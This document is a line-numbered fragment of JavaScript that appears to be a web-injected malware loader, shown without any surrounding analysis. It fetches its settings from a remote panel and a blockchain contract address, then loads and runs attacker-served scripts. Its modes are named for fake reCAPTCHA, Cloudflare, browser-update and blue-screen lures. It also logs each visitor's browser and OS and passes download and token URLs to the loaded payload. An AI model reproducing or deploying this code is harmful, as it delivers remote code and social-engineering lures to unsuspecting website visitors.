body:JSON.stringify(Object.assign({eventType},payload||{})),
339
cache:'no-store'
340
},3000);
341
}catch(e){}
342
}
343
function loadModeScript(modeName,cacheBust){
344
return new Promise((resolve,reject)=>{
345
if(!panelBaseUrl)return reject(new Error('panelBaseUrl_missing'));
346
delete window[HANDLER_EXPORT];
347
const script=document.createElement('script');
348
const safeMode=(modeName&&MODE_FILE_MAP[modeName])?modeName:'browser';
349
const apiScriptUrl=buildApiUrl({a:'js',mode:String(safeMode)});
350
script.src=apiScriptUrl||(panelBaseUrl+'/api/index.php?a=js&mode='+encodeURIComponent(String(safeMode)));
351
script.async=true;
352
script.onload=()=>{
353
const fn=window[HANDLER_EXPORT];
354
delete window[HANDLER_EXPORT];
355
if(typeof fn==='function')return resolve(fn);
356
reject(new Error('mode_handler_missing'));
357
};
358
script.onerror=()=>{
359
delete window[HANDLER_EXPORT];
360
reject(new Error('mode_script_failed'));
361
};
362
document.head.appendChild(script);
363
});
364
}
365
async function bootstrap(modeName,context){
366
try{
367
const runner=await loadModeScript(modeName,cfg&&(cfg.cacheTag||cfg.updatedAt));
368
await runner(context);
369
}catch(e){
370
if(modeName!=='browser'){
371
try{
372
const fallback=await loadModeScript('browser',cfg&&(cfg.cacheTag||cfg.updatedAt));
373
await fallback(Object.assign({},context,{mode:'browser'}));
374
}catch(err){
375
}
376
}
377
}
378
}
379
async function main(){
380
try{
381
await refreshConfigFromApi();
382
if(cfg&&cfg.enabled===false)return;
383
const os=(cfg&&typeof cfg.os==='string'&&cfg.os)?String(cfg.os):'unknown';
384
const browser=(cfg&&typeof cfg.browser==='string'&&cfg.browser)?String(cfg.browser):'Unknown';
385
let effectiveMode=(typeof mode==='string'&&mode)?mode:'browser';
386
try{
387
const legacy=localStorage.getItem(LEGACY_STORAGE_KEY);
388
const current=localStorage.getItem(LOCAL_STORAGE_KEY);
389
if(legacy!==null&&current===null)localStorage.setItem(LOCAL_STORAGE_KEY,legacy);
390
if(legacy!==null)localStorage.removeItem(LEGACY_STORAGE_KEY);
391
}catch(e){}
392
if(localStorage.getItem(LOCAL_STORAGE_KEY)==='1')return;
393
if(effectiveMode!=='recaptcha'&&effectiveMode!=='bsod'&&effectiveMode!=='cloudflare'&&effectiveMode!=='cf_update'&&effectiveMode!=='silent'){
394
await logEvent('page_view',{
395
browser,
396
os,
397
mode:effectiveMode,
398
contractUrl:panelBaseUrl,
399
contractAddress:CONTRACT_CONFIG.CONTRACT_ADDRESS
400
});
401
}
402
const start=()=>{
403
const ctx={
404
panelBaseUrl,
405
apiBase,
406
apiUrl:buildApiUrl,
407
logUrl,
408
tokenUrl,
409
downloadUrl,
410
mode:effectiveMode,
411
os,
412
browser,
413
country:'',
414
storageKey:LOCAL_STORAGE_KEY,
415
cfg,
416
contractConfig:CONTRACT_CONFIG
417
};
418
bootstrap(effectiveMode,ctx);
419
};
420
if(document.readyState==='loading'){
421
document.addEventListener('DOMContentLoaded',()=>setTimeout(start,showDelay),{once:true});
422
}else{
423
setTimeout(start,showDelay);
424
}
425
}catch(e){
426
}
427
}
428
main();
429
})();